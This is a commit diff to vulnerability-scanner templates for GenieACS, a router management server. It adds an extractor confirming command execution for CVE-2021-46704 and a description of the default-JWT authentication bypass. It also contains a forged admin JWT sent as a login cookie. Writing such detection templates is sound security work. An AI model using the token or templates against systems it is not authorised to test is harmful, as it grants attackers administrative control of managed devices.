Merge pull request #7561 from projectdiscovery/genieacs-default-jwt-update

added description + extractor and misc changes.

http/cves/2021/CVE-2021-46704.yaml

@@ -17,7 +17,7 @@ info:
     cwe-id: CWE-78
   metadata:
     max-request: 1
-    verified: "true"
+    verified: true
     shodan-query: http.favicon.hash:-2098066288
   tags: cve,cve2021,genieacs,rce
 
@@ -41,3 +41,9 @@ http:
       - type: status
         status:
           - 500
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - uid=(\d+)\((\w+)\)

http/misconfiguration/genieacs-default-jwt.yaml

@@ -1,24 +1,33 @@
 id: genieacs-default-jwt
 
 info:
-  name: GenieACS - Default JWT Secret
+  name: GenieACS - Authentication Bypass (Default JWT Secret)
   author: DhiyaneshDK,pussycat0x
   severity: high
+  description: |
+    GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
   reference:
     - https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738
+  classification:
+    cwe-id: CWE-798
+    cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
-    verified: "true"
+    verified: true
     shodan-query: http.html:"genieacs"
   tags: misconfig,jwt,genieacs,default-jwt
 
+variables:
+  cookie_name: genieacs-ui-jwt
+  default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c
+
 http:
   - raw:
       - |
         GET /api/presets/?filter=true HTTP/1.1
         Host: {{Hostname}}
         Accept: application/json, text/*
-        Cookie: genieacs-ui-jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c
+        Cookie: {{cookie_name}}={{default_jwt_secret}}
 
     matchers-condition: and
     matchers:
@@ -37,3 +46,8 @@ http:
       - type: status
         status:
           - 200
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret'